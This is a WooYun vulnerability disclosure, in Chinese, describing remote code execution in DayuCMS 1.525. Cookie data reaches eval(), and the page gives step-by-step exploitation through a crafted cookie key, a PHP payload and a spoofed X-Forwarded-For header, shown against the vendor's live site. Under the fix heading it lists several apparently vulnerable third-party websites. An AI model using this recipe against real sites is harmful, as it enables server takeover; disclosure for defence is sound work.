当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
DayuCMS 1.525 前台任意代码执行
相关厂商:
漏洞作者:
提交时间:
2014-12-30 12:15
修复时间:
2015-03-30 12:16
公开时间:
2015-03-30 12:16
漏洞类型:
命令执行
危害等级:
自评Rank:
10
漏洞状态:
未联系到厂商或者厂商积极忽略
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-12-30: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

DayuCMS在处理字符串是直接利用eval,并且存在可控变量导致任意代码执行。

详细说明:

/include/global.func.php

// 字符串转换为数组
function string2array($str)
{
if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
if($str=='') return array();
if(is_array($str))return $str; // 2011-09-13 是数组的话直接返回
@eval("\$array = $str;");
return $array;
}


/pay/order.php

$payobj=new pay();
$action=isset($action)?$action:'step1';
session_start();
$cookiekey=dayucms_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));


其中cookiekey是字符串和IP地址拼接得到的md5,并且IP可以利用XSS伪造,所以cookiekey可以固定为:b98b87d11653f2da
首先访问一下/pay/order.php,得到Cookie的prefix,然后和cookiekey拼接,得到cookie键值为:cbpCMSNTNAb98b87d11653f2da

1.png


然后修改XFF为0.0.0.0。

3.png


刷新即可执行php代码。

2.png

漏洞证明:

对于官方网站的测试:http://www.dayucms.com/

1.png


得到 Cookie 前缀为 TEVqv2KtR5
然后添加一个 Cookie 键值为 TEVqv2KtR5b98b87d11653f2da,内容为 1;echo phpinfo(),勾选上url编码

2.png


然后修改 XFF 为0.0.0.0,最后刷新即可。

3.png

修复方案:

过滤
http://www.tccg-hotel.com.cn/
http://www.xxzydjd.com/
http://www.jnsusai.com/
http://www.hodlai.com/
http://www.huba58.com/

版权声明:转载请注明来源 Ricter@乌云


>

漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝